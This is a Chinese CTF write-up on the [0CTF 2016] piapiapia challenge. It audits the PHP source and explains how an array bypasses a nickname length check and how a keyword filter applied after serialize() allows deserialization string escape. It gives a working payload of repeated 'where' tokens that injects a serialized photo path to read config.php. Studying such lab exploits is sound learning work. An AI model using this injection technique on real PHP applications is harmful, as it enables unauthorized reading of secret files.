其他分享
首页 > 其他分享> > BUUCTF:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点

BUUCTF:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点

作者:互联网

目录:

一、知识点:

1.url传入数组绕过长度限制??

在这里插入图片描述就是判断你输入字符串不能够太长的时候,
用数组可以进行绕过;
在这里插入图片描述

2.数组的遍历

两种遍历方法

foreach(array_expression as $value)

foreach(array_expression as $key => $value)

第一种格式便利,给定的 array_expression 数组。每次循环,当前单元的值被赋值给$value,并且数组内部的指针向前移动一步(因为下一次循环将会得到下一个单元)

第二种格式也是做相同的事情,只是除了当前单元的值赋给$value之外,键名也会在每次循环中被赋给变量$key。

<?php
$arr = array(1,2,3,4);
foreach ($arr as &$value){//地址传参
    $value = $value*2;
}
// array $arr now is (2,4,6,8)
unset($value);//销毁$value变量
<?php
$a = array(
    "one"=>1,
    "two"=>2,
    "three"=>3,
    "five"=>5
);
foreach ($a as $k => $v){
    echo "\$a[$k]=>$v  ";
}
输出:$a[one]=>1  $a[two]=>2  $a[three]=>3  $a[five]=>5

3.数组绕过正则

  1. md5(Array()) = null
  2. sha1(Array()) = null
  3. ereg(pattern,Array()) =null
  4. preg_match(pattern,Array()) = false
  5. strcmp(Array(), “abc”) =null
  6. strpos(Array(),“abc”) = null
  7. strlen(Array()) = null
    在这里插入图片描述

二、我自己的做题尝试:

源码都弄下来了,但是分析,代码审计技能点还没有点,,,
懵逼中,
我看到了读取文件什么的,也看到了serialize和unserialize和session。
猜测可能是序列化和反序列化,应该不是session的序列化, 因为session不可控。
然后又关于数据库的操作。但是在尝试的时候,不报错,sql注入不是了,

三、不足:

  1. 看到config.php里面的内容了,
    在这里插入图片描述
    我就没有反应过来flag再config.php中,,,,因为后面WP取flag就是取自config.php中的,我就愣是没反应过来,
  2. 对于数组能够绕过字符串检查长度不会,这个得get,
  3. 还学了一个反引号命令执行?,可能不是在这个题上学的,反正是在学这个题的时候学的。。。

四、学习WP

1.学习一个大佬的思路:

  1. 熟悉网站结构:
    class.php里有一些重要的函数
    update.php和profile.php中一个是上传文件,一个是获取文件,
    最重要的是config.php。我们看到flag在里面。

  2. 根据前端流程 查看可疑函数
    注册和登陆那块就不看了,主要的突破点是 上传资料显示资料 这里。

首先是update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];//找到文件,判断文件大小
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

有一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前两个不一样。这里判断了nickname是否为 字符, 还有长度是否超过10,
这里,如果我们 传入nickname为数组的话,就可以绕过长度限制,不会die出的

在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));

我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

再看一下针对 $new_profile的函数filter()

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);//过滤\和\\的,替换成_

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}//将这些关键词替换成为hacker。要敏感,与serialize和unserialize相关的导致字符串长度变化的,
	public function __tostring() {
		return __class__;
	}
}

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’

再看看profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以看到这里有反序列化还有文件读取,而且是同一个变量 $profile[‘photo’]
我们对这道题应该有了大致的思路了。
flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,这不就是CTF中反序列字符逃逸的常见套路吗。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

Over。

2.学习 另一个大佬的思路 —这个过于跳跃,看上一个把,,

都审计了一遍,他没有全部仔细看,但是全部看完了。说这里有问题。:
算了,思路炒大佬得了,学习思路。

可以在 config.php中看到flag。然后看到profile.php中又 file_get_contents()函数的时候,大佬尽然想到了会有序列化的事情,真是有题感了?

profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

读取photo的内容。我们让 $profile[‘photo’]是 config.php就好了,这样就可以得到flag了。面的利用可以通过序列化和反序列化来。

五、思路学完了,自己做做看看。

		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));

这里是将一整个数组进行序列化呀,,有点麻烦那,
然后

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

变量就变成了 new_profile 这个变量了。

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

然后是将这个一整个序列化的字符串进行过滤,替换
问题是:
我怎么知道序列化之后的字符串的具体是什么样子的。我才能够进行换一换啊,这要在本地进行实验的。

然后进行unserialzie进行读取,进行 字符串逃逸 ,就在上一步,

	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

那么本地实现的话,就先按照他的这个循序来吧。
phone ,email,nickname,photo

我本来是在本地搭建的,可可是那个 上传文件 不行,其实总体上来说本地搭建是可以的。
但是直接在burp上也型。
可以先在本地上初步实验,然后再在burp上搞。

本地测试这里真的是精华呀,,,没啥别的意思,纪念一下。。
自己测试出来是真滴爽快啊
在这里插入图片描述

由于我多加了一个,所以要把我们添加的字符串放到 nickname这个变量后面,
其实也只有nickname可以用数组来绕过。然后 本来多加了,所以过滤后的字符数量要变多才行。
才能够把我们多加的数据给挤出来。所以要比hacker少
在这里插入图片描述
只有where少,所以用where。
这个是post提交的参数,我在本地嫌前面的挡害,就没提供参数,不影响的。
在这里插入图片描述

然后再看一看我们需要挤出来多少个字符?我这个nickname只输入了一个1。所以看的时候 从 1后面看,然后 两边的双引号是人家本来就带着的。也不看,

大概就是这样的。看灰色的那一块。
在这里插入图片描述
灰色的34个字符都是我们要挤出来的。这些是我们多余添加的

所以我们过滤之后要边长34个字符,所以用34个where,然后变成34个hacker
就能够ji出来了

最重要的那一块payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

在这里插入图片描述
然后发包

在这里插入图片描述

会报错,应该的嘛,让你输入字符串,你都输入数组了,能不报错马????
然后进profile

base64编码了,看一下,解一下 米就有了

在这里插入图片描述

在这里插入图片描述

标签:profile,知识点,php,0CTF,序列化,phone,POST,2016,nickname
来源: https://blog.csdn.net/Zero_Adam/article/details/113934085